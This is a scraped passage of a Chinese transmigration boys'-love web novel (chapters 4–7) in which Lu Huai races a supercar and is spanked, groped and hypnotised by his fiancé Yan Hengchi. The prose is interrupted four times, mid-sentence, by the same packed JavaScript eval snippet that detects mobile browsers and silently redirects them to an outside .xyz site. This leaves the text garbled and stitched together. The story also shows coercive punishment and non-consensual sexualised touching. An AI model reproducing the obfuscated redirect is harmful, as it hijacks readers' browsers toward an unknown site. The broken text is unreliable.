被男人冰凉的触碰激出一身鸡皮疙瘩,立马回忆起了被听诊器贴上心脏时的不适,气势骤失的陆徊扑腾着向外挣扎,心口的那只大手陡然用力,死死把他扣在了怀里,连衣服都在挣扎中散开了半边。 身后紧紧贴着一个人的心跳,陆徊徒劳地去抓车门,却被肩头游弋的吐息僵直了身子。 肩膀处骤然传来清晰的刺痛感,陆徊怒气冲冲,抬肘就怼,扑了个空。 “你真的应该去看看医生!” 这家伙怎么还动不动咬人,狗吗! 陆徊咬牙切齿地抢过自己摇摇欲坠的衣服,低头一看,欲哭无泪。 严珩驰咬的位置十分明显,只要来人不是眼瞎,就能看出来他身上这块和吻痕没什么两样的印记。 “陆少爷盛名在外,身上留点印子不是很正常?” 严珩驰唇角挂着一抹不明显的笑,斜了一眼气到抓狂的陆徊,施施然下了车。 “不是,怎么这么快就到了?” 被留在车上的陆徊抓着头发无语,左看右看,只能不情愿地把扣子重新扣好,规规矩矩地系到了最上面一层,苦着脸顺着侍者的指引,走进了电梯。 大厅中央。 陆诚国正在和几个搭上关系的老总笑呵呵地闲聊,随意往门口一瞥,眼珠差点瞪出来半颗。 他那个一贯作风开放的大儿子怎么这次穿得这么规整?简直像换了个人似的。 再一看陆徊身旁的严珩驰,顿觉自己明白了真相。陆诚国挥别几人,连忙迎上去,刚想和自己儿子讲两句,就看到这个小没良心的看都不看他一眼,径直往侧边去了。 想都不用想,肯定去找他那群狐朋狗友了。 陆老板头疼地叹口气,摇了摇头,只好端着酒杯迎上停在原地的未来陆家人,照例询问了几句对方最新的专利成果进展如何。 “我那个不成器的儿子性格顽劣,严总多包容,多包容,哈哈。” 严珩驰半眯了下眼,视线轻飘飘地落在围着长桌挑蛋糕的某人转了一圈,微抿了一口酒。 “哪里,岳父言重了,小徊本性不坏,正是爱玩的年纪。” “哈哈,成大器者,果然心胸就是开阔……来,我敬你一杯!” 做了一辈子粗人的陆诚国听到别人夸自己儿子就打心底高兴,下意识忽略了一丝微弱的不对劲。严珩驰这种搞科技的大佬,在他眼里就和神仙没什么区别,笑得皱纹都飞起来。 可不知道严珩驰莫名其妙就把联姻关系坐实,陆徊刚给自己系好领巾,正要对着端回来的小蛋糕双眼发光。 榛果焦糖海盐可可球、香草荚白桃乌龙茶慕斯、焦糖苹果肉桂千层酥,以及听起来就很好吃的伯爵茶佛手柑马斯卡彭手指泡芙…… 又在桌角伸长舌头卷了一只蚊子的蜥蜴探头看看他,表情有些一言难尽。 【我记得你的病房规格并不差,怎么像没吃过这些东西一样。】 【那能一样吗。】陆徊刚叉进一口放进嘴里,鼓着腮帮子回它,【我的病好像需要一直处于无菌环境里,就连别人送过来的水果都需要煮熟了吃,更别提蛋糕甜品了。】 蜥蜴不说话了,它默默吞下那只不再挣扎的蚊子,尾巴悄悄拍了拍陆徊的衣袖,表达了一下自己无声的安慰。 “哎呦,这不是陆少爷吗,怎么今天也有兴趣参加这种聚会了。”正在慢慢品尝蛋糕的陆徊循声看去,眨了眨眼,对上一个年纪明显不大的男生。 不认识。 万一自己方圆三米内还有一个陆少爷呢,肯定不是叫我。 “喂,陆徊,我在和你说话!” 不过晾了对方十秒,就收获一句满脸怒气的质问。面前的人叉着腰,站在陆徊面前瞪着他,满脸写着不高兴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978230|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么不去你的酒吧寻欢作乐,也不看看这里的环境适不适合你,你能听懂他们聊的什么吗?不学无术的败家子儿。” “嗯……严珩驰带我进来的时候,也没提醒我得拿准考证啊。”陆徊不情不愿放下叉子,振振有词地解释,“那你能不能说说,考多少分才能进这儿的大门?” “你——” 听到对方嘴里的名字,男生表情变得不太好看,在场内环视一周,果不其然看到了正和陆父交谈甚欢的严珩驰,刚才还昂首挺胸找茬的样子一下子萎靡大半,说话声都小了不少。 “真掉价,也就你们这种没什么历史底蕴的乡巴佬才能想得出来和男人联姻这种事。” 这人像是有点害怕严珩驰,哪怕还是那副瞪着眼的样子,也和刚才气势大不相同,陆徊也就有一搭没一搭地听他说话,同样有点好奇别人怎么看待这场明显是商业模式的联姻。 “两个男的,哼,也不知道你们俩到时候谁娶谁,谁穿婚纱……不伦不类的,卖儿求荣的暴发户……” 眼看被挑衅的对象对他爱答不理,自觉没趣的男生一边嘀咕一边悄悄溜走,最后那句正好飘进了陆徊耳里,刚拿来润润喉的饮料被他一口喷了出来。 不是,他怎么想得比我还长远? 抱着“严珩驰根本活不到结婚那天”念头支撑自己做任务的陆徊好想尖叫,只要他脑海中浮现那个画面,就觉得天旋地转,太阳穴突突作痛。 这下再也没了胃口,眼看严珩驰正和别人交谈甚欢,陆徊干脆偷偷从侧门溜走,正发愁去哪儿找辆车跑路的他站在门口张望,口袋里的手机突然震动起来。 “陆哥!今天儿不错,不出来跑一圈耍耍?你的车再不动动就要生锈了!” 注视着备注为“大徐”的联系人,疑惑翻出来剧情记忆一看,陆徊倒吸一口冷气,满眼掩饰不住的兴奋。 “他说的是不是我的超跑啊?科尼塞克?对吧,对吧!” 【对,但是我劝你别激动,你现在属于纯新手——】 胖蜥蜴的话还没说完,陆徊就已经兴致勃勃地要来了对方的位置,站在原地翘首以盼,准备叫辆车过来接他了。 【我还没试过轮椅之外的载人工具呢,救护车?救护车那可不算……】 陆徊坐进后座的时候都没停下和蜥蜴絮叨,大少爷的兴奋之情溢于言表,夜晚,赛道和速度,每一项都和以前的他毫无干系,今天居然也有机会尝试一把了。 【但是我说真的,你悠着点,身体记忆不代表你现在的实力,珍惜一点自己的新身体啊。】 【一定!一定!】 陆徊满口答应,根本没注意到一闪一闪的手机屏幕,上面正明晃晃地跳动着三个大字。 打了三遍电话也没找到那个消失不见的身影,严珩驰整了整衣领,面上分明不显,握着手机的手却无意识攥紧了些许。 “去,查查那位大少爷又去哪儿疯了。” 门口眼观鼻鼻观心的保镖接到命令,迈步向外走去,还有几人想过来和这位新任科技领军人物攀谈,却在看到对方的脸色后不自觉讪笑着退后了一步,心里泛着嘀咕,不知道谁惹到这位了。 “严总表情怎么这么难看,像被绿了一样……” 5. 第 5 章 只在表哥嘴里听过这辆身价千万的超跑,陆徊围着停在车库里的车转了两圈,情不自禁伸手碰了碰这辆蛰伏的机械野兽。 “好漂亮……” “这钻石纹看一万次也不嫌腻,这外观,绝了。”徐逸修站在一旁啧啧称奇,触碰的力度都不敢太重,“超绝北欧极光具现化。” “钥匙呢?我出去试一圈,你把场清一下。” “不是哥们儿,刚来就走,也不和兄弟们见见面,你怎么这么心急。” 徐逸修嘴上埋怨,棱形纹路的钥匙扔得倒快,陆徊一把接住。展开车门,他顺势滑进座位,停在原地听了一会儿声浪,一个漂亮的甩尾,冲进了跑道。 “好吧,愿诸神和你并行。” 徐逸修耸耸肩,随意扫了一眼屏幕上空无一人的跑道,哼着歌坐回自己的位置上欣赏刚才保存的Jesko美照去了。 “我觉得我站起来蹬自行车都比你现在这个速度快。” 陆徊正慢吞吞地过弯,把据说最高时速531km/h的车开出了逛菜市场的感觉,胖蜥蜴趴在方向盘上,不由产生出一种错觉:是自己控制不住的体重拖慢了这辆车的速度。 又低头看了看此刻显示30迈的仪表盘,它觉得自己之前那份担心真是多余。 “这辆车真的比视频上好看太多了。” 同样熟悉的装饰和配件,钛金属钥匙在陆徊的注视中微微摇晃,一圈又一圈打散了涟漪,忽然有一只手握住了钥匙,急切地把它往前递了递。 “马上就是你的20岁生日了,我问过医生,如果情况稳定,哥就能带你去坐坐我刚到手的新车!” “表哥,你又偷偷乱拿零花钱买东西。” 坐在床上的少年翻过一页书,面色透着病态的苍白,眼睛却很亮。他好奇地往窗外探了探头,脸色一变。 “等等——不会是刚才那辆声音巨吵的车吧?” “我只是试了一下极限模式——哎呀小徊你快点好起来,到时候就能和我一起玩了!我到时候带你试试这辆车的速度,你知道吗,它的尾焰是超帅的蓝色……” 陆徊托着下巴看向表哥投屏出的跑车造型,非常给面子地哇了一声。 “那就希望我快点到20岁,然后重新站起来吧。” 过去的影子慢慢隐去,陆徊捏住钥匙晃了晃,有些出神。 “之前表哥总给我说,如果我病好了,就带我开车去兜风。” 一向会接话的蜥蜴却在此刻有些不同寻常的安静。 “其实我知道这串钥匙是他特地为了我的生日准备的。”陆徊伸手把钥匙拢进手心,好像透过这块冰凉的金属触碰到了家人的温度。 “但是那一年我的情况已经很差了,医生对我家人说,我可能活不到22岁。” “然后我母亲就故意没有给我过20岁的生日,假装我还是19岁。” 蜥蜴没有说话,眼睛睁得很大,他安静地趴着,像方向盘上的一件装饰品。 “他们可真笨,居然想着能骗过时间……” 分不出情绪的碎碎念消弭在空气里。 在病床上的时间太过漫长,值得纪念的日子太少,每次看到他们推着带着玻璃罩子生日蛋糕进来,陆徊就知道自己又撑过了一年。 “一开始我还能看到我妈来不及掩饰的红眼圈,我哥是一个很沉稳的人,他很少说什么,只是宽慰我没事,带各式各样的医生检查我的病情。” 慢慢思索着那段日子,陆徊拧着眉回忆。 “但是表哥不一样,他每次见我都笑得特别开心,每次都只对我说好消息,似乎在他眼里我下一秒就能从床上下来,和他一起去疯跑。” 长叹一口气,陆徊抹了把眼睛,小心地点了点正在cos雕塑一动不动的蜥蜴。 “但是那天我不小心听到他在门外和别人吵架,说,怎么可能这么没机会了,我年纪才那么小,还没来得及体验一下正常人的一生就要结束了。” 如果按照自己原本的人生,大概也像这个“陆徊”一样,做个无忧无虑的大少爷吧。 “所以真的很谢谢你,会说话的蜥蜴。”陆徊踩了刹车,看向空无一人的周围,慢吞吞地打开了窗户,“我应该是真的已经死了,谢谢你在我临死前编织出的这一场梦,也是体验了一把兔子洞的梦游仙境了。” “所以你一直觉得这一切都是假的,包括我吗?” 蜥蜴摆摆尾巴,突然开口。 它歪着头看向陆徊,明黄色的虹膜对上了对方黑白分明的眼睛,看到了自己的模样。 “怎么想也不可能真存在这种好事吧,什么蜥蜴会说话、一觉醒来自己突然恢复了健康,能吃到以前吃不到的东西……我刚生病的时候还会这么幻想,现在我长大了,早过了做梦的年纪了。” 摊牌后轻松了不少的陆徊懒洋洋地转了转方向盘,散漫地嗯了一声,脸上流露出一点无所适从的茫然。 “那你怎么看待你周围这些人,比如刚才的徐逸修,再比如严珩驰?” “不算真人?不算活人?”始终觉得自己只是在梦境里徜徉的陆徊答得很快,“哦或者说,不算个真正活着的男人?” 只是这场梦有些过于漫长和逼真了。 蜥蜴好想突然改换个信仰,他默默在心里给陆徊画了个十字,给什么都不知情的他祈祷。 “算了算了!既然是美梦那你让我先别醒,我是真的想试试这车的速度。” 对着上面的极速模式已经馋了好久,陆徊把蜥蜴捞进手心,努力从记忆里搜刮出一点信息——依稀记得是长按确定键开启来着。 他给自己系好安全带,看了看周围,只能把蜥蜴放进了衣领,嘱咐对方扒紧。 下一秒,强烈的推背感传来,做了半天蜗牛的Jesko犹如一道闪电飞出去,前方的道路瞬间缩小成几条光束聚合的针孔。 呼吸都停顿了几秒的陆徊勉力分出一丝注意力,看了一眼快速下降的油箱指针,再次提速。 这大概是他呼吸最畅快的一次,肾上腺素狂飙,座椅都震得发麻,被静静搁置在旁边的耳塞被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978231|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫听完了全程引擎的咆哮声。 “……真是一个不可思议的梦。” 已经开始在空白区域里横冲直撞乱跑的陆徊死死压住弯,轮胎滑过地面发出令人牙酸的摩擦声,他充耳不闻,方向一转,原地掉头,再次加重了油门。 视野中出现了终点,携带着滚滚声浪飞驰而来的机械神话不见丝毫减速,直到在不得不掉头的墙壁面前,才传来一声尖利的刹车声。 车身拖拽出一道长长的痕迹,感觉大脑像被锤子重重砸了一下,还有些眩晕的陆徊抖着手试了好几次都没解开安全带,干脆往座椅上一躺,伸手够身前的蜥蜴。 摸了个空。 嗯?? “呦,难为您还知道关心一下我的存在。” 已经黏在后挡风玻璃上半天的胖蜥蜴嘴上阴阳怪气,却怎么都爬不下来,四只腿都软。 “要不是快结束了,真的还想再玩一次。”额前的碎发被风吹得凌乱,半晌都没压下胸膛中那份回荡的爆鸣,陆徊叹口气,看了看已经亮红线的油箱,有些意犹未尽。 “我说真的,如果——” 还没说出口的半句话被肩上骤然压下的力道打断,陆徊吃痛回头,惊悚地对上严珩驰一张黑脸。 “不是吧这也能追过来,梦里的NPC自主能力也太强了……” 管得太多,惹人烦。 陆徊狠狠打开男人的手,一扯安全带,推了一把站在车外不动的男人。 “让开,我要下车。” 没从陆徊脸上看出任何悔改之意的严珩驰冷笑一声,直接把人从车窗里拽了出来,用力掼在了还在发烫的引擎盖上,高扬起手。 “啪!” 沉重的巴掌声落下,狠狠抽在身后柔软饱满的位置,陆徊一呆,懵懵顿住,随即血液直冲大脑。 “严珩驰你是不是找死?松手!放开我!” 一想到可能会有人注意到这里发生的一切,陆徊就羞愤欲死,他疯狂地挣扎着,用力去踹身后那个混蛋,腰间的力道却不减反增,甚至变本加厉,直接扯下了他的裤子。 “你——你敢?严珩驰,你——” 既心虚又害怕,陆徊一手死死抓住自己的衣服,一手往后头乱打一气,结果整个人被握住手腕牢牢抓起来打横按在车上,小腹被迫紧贴着车身,男人的膝盖死死钉住他的腰,动弹不得。 “啪!” 第二声打得又快又狠,肌肤直接接触,抽得陆徊一个哆嗦,感觉下半身都不是自己的了,含在喉咙口的呜咽声怎么也咽不下去,悄悄流出了一小截。 “疼……别,别打了——” 陆徊挣扎的劲儿都被镇压小了许多,男人的手劲太大,明显是动了真怒。木着半边身子,陆徊趴在车前盖上委屈得掉眼泪,从来没被这么对待过的他现在站都站不稳,两条腿直打滑。 薄薄的衣物挡不住严珩驰手上的热度,烫得几乎要把他焚烧殆尽,昏昏沉沉的脑子最后有印象的只有对方一句没有温度的话。 “下次还敢不敢了?” 6. 第 6 章 抗争被轻而易举镇压,恨不得自己找个地缝钻进去的陆徊干脆埋着一动不动,肿着眼睛在心里骂了严珩驰一千一万遍。 “装死?” 发梢都被哭湿了大半,陆徊咬着牙不吭声,本就肿痛的身后又挨了一巴掌,不轻不重,比起惩罚,更像一个饱含警告意味的提示。 “呜——” 被这怪异的触感激得一哆嗦,肩胛骨微微颤抖,被打湿的衣服勾勒出一副可怜的惨状,严珩驰定定看着某只鸵鸟,冷哼一声,果然看到陆徊抖得更厉害了。 视觉的失去只会加重其他感官的敏锐性,本就适合抓握的地方被男人的大手严丝合缝地拢住,陆徊苦不堪言,感觉自己像只被拎住脖子的猫崽,命运全握在那只温度极高的掌心里。 “我错了我错了我错了你别折磨我了——” 好不容易挣脱出一线生机,喘着气把自己艰难向上爬了两步,陆徊来不及唾弃自己乌龟翻身的行为,抓着裤子生怕严珩驰又抢走。 “错哪儿了。” 宴会的衣服被他穿得乱七八糟,露着一截细腰缩在银灰色引擎盖上,颜色倒是有些意外的相衬,严珩驰神色淡淡,把久久停在对方身下的视线挪开,看向陆徊的眼睛。 “我不该偷偷从宴会溜走……” 心虚地瞅了对方一眼,没从严珩驰脸上看出来什么,陆徊抽噎了一声,只能硬着头皮继续往下编。 “不,不该偷偷跑过来玩赛车……?” “嗯?” 话里那点认错的不情不愿被严珩驰听得一清二楚,他抬了下眼,抬手撑在陆徊腰侧,把人逼进自己怀里,表情似笑非笑,差点又把陆徊吓成鹌鹑。 “我……” 陆徊词穷,一边绞尽脑汁找借口,一边偷偷往旁边缩,一点点向外挪,结果不小心牵扯到后面的伤口,顿时疼得龇牙咧嘴。 “看来你还不知道自己到底错哪儿了。” 动作干脆利落地把人抱进了车里,严珩驰看都没看一眼停在不远处的几百万美金,就要吩咐司机回家。 【喂!喂,能不能别老动手动脚!】 早忘了积攒能量的方式就是宿主要和剧情人物接触,好不容易从玻璃上把自己撕下来的肥蜥蜴气喘吁吁地跟过来骂骂咧咧,结果一脚被踩中了尾巴。 【嗷!】 不知道是不是它的错觉,好像刚才自己尖叫的时候,严珩驰往这儿看了一眼。 蜥蜴哀嚎了一嗓子,声音凄惨,下意识觉得这人是故意的,又想起来对方看不见自己,只能忍着一肚子气,拖着尾巴,灰溜溜地爬进了后备箱。 严珩驰看了一眼它消失的位置,关住了车门。 回程路上陆徊本想安安静静做个哑巴,结果下面越来越疼。两辈子都没挨过这么重的打,他病歪歪地斜在车上,坐立难安,咬着嘴唇变了好几种坐姿,还是觉得不舒服。 “疼得厉害?” 不问还好,一问一肚子气。 陆徊抓过旁边的东西就扔上去,满脸不高兴。 “换你挨顿揍试试?在旁边说什么风凉话呢!” 细皮嫩肉的大少爷没吃过什么苦,瘫在车上直哼哼,身后又火辣辣的疼,看严珩驰更是不顺眼。 “坐过来点。” 后排空间不小,恨不得自己和严珩驰隔出来半个宇宙的陆徊装没听见,好像突然对窗外的路灯产生了浓厚的兴趣。 “趴好了,我给你抹药。” “谁要你假好心!!走开走开!!” 严珩驰干脆亲自上手,把人到自己腿上,揉了揉炸毛少爷的脑袋,看了一眼对方肿得老高的位置,粗略一看确实十分凄惨。 “翘高一点,我好给你涂药。” “喂你这个人怎么不听我说话——” 声音戛然而止,药膏被男人细心地揉开,用堪称温柔的力道轻轻贴在他身上,膏液冰凉,骤然和疼得最厉害的地方相触,激得陆徊猛地一缩,身体下意识绷紧,死死咬住了严珩驰垫在他下巴处的胳膊。 “别乱动。” 一片泛滥的红和旁边的柔白色对比刺眼,严珩驰沉沉吐出一口气,忍耐着手下过分柔软的触感,一寸寸给陆徊上药,好像忘了车上其实有棉签这回事。 “你怎么还没好……这药不会过期了吧,怎么一点用也不顶啊?” 嫌弃对方涂得太不用心,陆徊气得心口疼,干脆晃腿踹他。 “我说了别动!” 男人的声音吓得陆徊一哆嗦,总感觉对方的声线低了好几度,以为自己又把人惹生气了,他赶紧老老实实趴好不动了。 身后那处位置被浅浅涂上一层药,短暂地压下了刺痛感,转变成了麻木,触感反而变得更加清晰。忍耐着把对方甩开的强烈想法,陆徊死死抓着扶手,身体起伏间附上一层薄汗。 车内没人说话,气氛突然变得怪异,药膏缓慢化开,淋在上面亮晶晶一片,陆徊发觉身后没了动作,下意识晃了晃腰,以为严珩驰又在诓他。 “你到底有没有认真给我上药啊!算了算了,真指望不上你。” 瘫成一张饼的大少爷嘀嘀咕咕,从下面的电冰箱里吃力地摸出来一瓶红酒,咬着牙夹进腿间,碰一下嘶一声。艰难地挪着坐起来,试图通过物理降温的方法代替人工操作。 车内的灯光早在涂完药后被陆徊挥手关掉,车窗外跑过好几杆路灯,遥遥地把一点暗黄色的光扔进车里,照明的范围不大,看人倒是将将够用。 酒瓶是正常的容量大小,红得发暗,被挤进满是软肉的腿缝,全吃下去有些艰涩。 严珩驰注视着骑在酒瓶子上乱扭一气的陆徊,感觉自己似乎身临其境地观赏了一场三流电影。 这并不是他第一次觉得陆徊的脸有杀伤力。 只唯独这次欲望来势汹汹。 严珩驰侧过头,悄然调整了一下坐姿,车窗上却倒映出一旁陆徊的所作所为,看得他额头青筋直跳。 刚才涂得大差不差的药膏都在大少爷乱搞一气的行为中黏成一团,在雪腴和酒红之间挤出一点依稀的汁液往下拐,划出一道不长不短的水痕,通通隐入了更深处。 陆徊玩得正开心,感觉痛楚真的减轻了不少,结果一扭头就看到严珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978232|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰紧紧皱着眉,仿佛他的模样多不堪入目一样,看都不愿意多看一眼,马上就火了,恨不得扑过来给他一拳。 “你涂个药都敷衍了事,现在摆出这副鬼样子给谁看呢!” 严珩驰无言以对。 他看着好了伤疤忘了疼的陆徊,目光在对方凌乱不堪的衬衫处顿了顿,怎么也说不出来让他从自己身上滚下去这种话。 “忘了说,从今天开始你被禁足了。”直视着跨坐在他腿上的陆徊,严珩驰尽量做到心平气和,“两周不许出门。” “凭什么!” 陆徊愤怒,陆徊生气,陆徊又咬严珩驰一口。 “没有原因。”严珩驰四两拨千斤,把大少爷一口好牙挪走,好脾气地晃晃手腕,没对上面的牙印发表什么看法。 “哦,如果咱俩那个彼此心照不宣的订婚仪式算理由的话。” 陆徊瞠目结舌。 还有半个月两个人就要正式订婚了?就他俩?脾气性格样样不合的人? “我看你也不是很在乎,要不然你去和我爹提一下,直接驳回算了。” 反正你也活不到那天。 陆徊努力安慰自己,心里暗暗发愁。 就算是梦,也没有挨了打还醒不过来的情况吧? 越想越发愁,之前严珩驰对他做的事还能当纸片人抽风解释,如果对方是个真实存在的人物,那岂不是…… 大少爷只觉得眼前发黑。 低头一看,刚才被他丢到一旁的酒瓶安静地滚在绒垫上,又想起来刚睁开眼时酒吧那几杯好喝的饮料,秉承着“严珩驰的车上一定不会有普通货色”的想法,他弯着腰把东西捡起来,折腾了一番没打开,只好往男人面前一放,点了点纹丝不动的瓶口。 一副等着人伺候的矜贵样儿。 来不及心疼自己的珍贵窖藏又少一瓶,严珩驰伸手挠挠大少爷的下巴,眼看着对方表情一变,赶紧把东西递过去,成功堵住了陆徊的嘴。 浓郁的酒香蔓延在车内,还打算拿两个杯子出来的严珩驰转身一看,陆徊已经握着喝上了。 这下真是被对方的行为气笑了。 “哪儿有你这样喝红酒的?” 试图把对方死死抱着不撒手的酒瓶拿走,严珩驰不得不按着陆徊的肩,才堪堪抓到一截瓶身。 “你怎么连这个也抢?”陆徊手脚并用,牢牢护着自己的瓶子,像只守护宝藏的恶龙,对每个人逼近的人都愤怒地喷一口火。 “你这个NPC真是太讨厌了!这也不让,那也不让,还总爱动手动脚,刚才还打我,下流!过分!” 严珩驰挑挑眉,并未对陆徊的指控做出什么反应,好像没听懂说的是他一样。 “谁要和男人订婚啊——好烦,为什么做梦还要有额外剧情?喂,你到底什么时候死?” 碎碎念完,陆徊晕乎乎地指着严珩驰的鼻子,大声质问他。 一直淡笑着的男人表情终于裂开一道缝,唇角抿成了一道直线。 “小少爷,有没有人告诉你,介入这个小世界的任务者这么多,只有你胆子最大吗?” 7. 第 7 章 已经灌进去半瓶酒的醉鬼正呼呼大睡,迷迷糊糊中好像听到严珩驰在说什么,想来也不会是什么好话。 四肢软绵绵爬不起来的陆徊原地扑腾了两下,往上拱了半寸,恶狠狠地咬上了男人最脆弱的脖颈。 “……” 严珩驰被陆徊这突如其来的举动弄得眼角抽搐,根本没分清具体位置的大少爷一口咬住他的喉结,还自以为很聪明地磨了两下牙,试图做到毁尸灭迹。 “……最好别让我发现你在装醉。” 用力捏着醉鬼的下巴把人掀到地上,摸到自己脖子处一滩口水印的严珩驰皱着眉,把自己整理好,才看向跪坐在自己脚边一脸茫然的陆徊。 “上上次是司机,上次是秘书,这次是突然冒出来的联姻对象。” 脖颈被男人的大手握住,呼吸有些不畅的陆徊下意识委屈地哼唧两声,只换来一句凉凉的质问。 严珩驰仔细端详着手下这张脸,笑意不达眼底。 “原来我在你们那里这么热门?” 慢条斯理地戴上实验用手套,拨开陆徊微长的额发,寸寸检查。手下力道不算轻,刚才还老老实实坐在地上的男生突然挣扎起来,试图躲开这只不怀好意的手。 “安静点。” 抗议声被捅入唇间的手指堵得严实,陆徊难受地眯起眼,下意识往后缩,却被探得更深。 几乎以为自己的舌根都被男人捉住的陆徊断断续续地呜咽着,身体本能的反应却把橡胶味儿的手指吞得更深,情不自禁扬起了脖子。 “每次解剖你们这群人,我都在奇怪一件事。” 冷眼看着来不及吞咽下的涎水顺着脖颈流走,严珩驰冷漠地抽出手,把已经湿成一团的手套扔到一边。 “到底是什么样的信心,才能让你们觉得,只要拥有一个系统和所谓的剧情,就可以颠覆一个科技发展水平差不多的世界?” 陆徊呆呆看着他,迟钝地摇摇头。 这条长难句太复杂了,他没听懂。 严珩驰伸手抹去对方唇角那点银丝,放在了自己的腕表上。 藏在衣袖下的腕表造型独特,表盘犹如一片滚动的黑水,只有现在一个亮晶晶的蓝点在一闪一闪,而陆徊的头也跟着一点一点,有种诡异的同步感。 表盘扭曲着,突然散成无数条黑色的丝线,很快在严珩驰面前动起来,瞬间组成了一串串文字信息。 “本名陆徊,绑定系统……哦?居然是个叛逃的半吊子,难怪会蠢成这样,慌不择路地往这里跳。” 那蜥蜴的造型还真不适合它,也许换成壁虎贴合度更高一筹。 想起来那只胖爬虫的模样,严珩驰表情冷漠,手指一划,直接往下翻到了陆徊那一栏。 男人一目十行,很快就看完了陆徊在原本世界里简短的一生。 “这个世界的医学发展程度竟然比这里还低?” 当看到陆徊足足在病床上躺了十几年,严珩驰淡淡皱起了眉,视线在陆徊睡得毫无防备的脸一扫而过,沉吟着没有说话。 被欺负了好几次,也不妨碍陆徊在严珩驰面前睡得不省人事,面容一派纯然,还时不时露出个软乎乎的笑,满脸写着不记仇。 严珩驰收回目光,不是很懂蜥蜴的选人标准。 本来自己就是个能源大失的半吊子,还拎了个这么笨的出来蹭世界本源,真是有点虐待病人了。 一对卧龙凤雏。 他客观地评价完,敲了敲空中的黑字,心念闪动间,远远对着隔了无数个时间维度的“人”表示了感谢。 吐完数据信息的表盘重新变成一只安静的手表,不见刚才机械组合时的诡异姿态,继续缩回了男人左手上,只留严珩驰和睡着的陆徊面面相觑。 突然对这个阅历单薄的大少爷起了些许兴趣,严珩驰静静注视了他一会儿,伸手贴住陆徊的左胸口,在对方心跳第十八次的时候重重咳嗽一声,成功扰乱了一瞬对方的心跳,打了个响指。 “你为什么会答应那条蜥蜴?” “没答应。”刚才还睡得四仰八叉的陆徊突然字正腔圆地回答了他的问题,完全不像睡着的模样。 本想着靠催眠能问出点黑表显示不出来的东西,严珩驰一顿,有些无言以对,只能继续往下问。 “系统来到你面前的时候,你第一反应是什么?” “叫护士。” “……” 已经明白自己是问不出来什么的严珩驰干脆放弃了正常对话,掐着陆徊的脸晃了晃,漫不经心地嗯了一声,问了最后一个问题。 “你怎么看待严珩驰?” 这次陆徊停顿的时间长了一些。 “不算事。” “……” 严珩驰猛吸一口气,刚想命令这只笨货不许再念三字经,就听到对方吐出了后半句话。 “因为,”陆徊及时在梦中也答得认真,一字一顿,“他不算活人。” 完全不假思索的回答,答得很快,言外之意严珩驰听得很明白。 【快死了,没事。】 他现在明白为什么这一人一蜥蜴能凑一对了。 真是一个敢说,一个敢信。 从之前几个穿越者的身上把科技树都扒干净的严珩驰在陆徊身上栽了个大跟头。 已经对再次升级自己的科技项目不抱希望,严珩驰勉力打消把人掐死的念头,冷着脸解除了对陆徊的催眠。 本来觉得陆少爷那个脑子察觉不到异样,想了想他还是补了一句暗示。 【睡醒后忘掉一切异常,尤其是今晚。】 陆徊胡乱地点点头,也不知道答应了什么,大声回了句收到,郑重得像在宣誓。 不忍直视。 感觉自己浪费了一晚上时间的严珩驰没能开出来想要的罐,直接把陆徊扔到了一楼的卧室里,也懒得再帮他换衣服,走上二楼重重带上了门。 他没听见后面的醉鬼突然嘀咕了一句。 “……到家了?” 脸色酡红的陆徊在枕头上蹭了蹭,没闻到熟悉的味道,又满脸失落地叹口气。 “我想回家……” 后半句静静地消弭在房间里,不会再有人听到。 天色大亮。 蜥蜴端坐在镜子前面,觉得自己的宿主哪儿哪儿都不对劲。 【陆徊!】 “陆徊!” 变了好几种方式都没能让对方看他一眼,胖蜥蜴直呼内行,看不出来陆徊这么喜欢挑衣服,居然对它的呼唤充耳不闻。 【别装听不见了!】 蜥蜴再度上调一个音量段,生怕对方听不见他传过去的心声。 【我就是给你说一声,昨天我看了一眼进度条,已经有8%了!】 胖蜥蜴心满意足,自从它逃离主空间在各个世界里狂窜,还没见过能从配角身上榨出来这么多能量的宿主呢。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978233|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 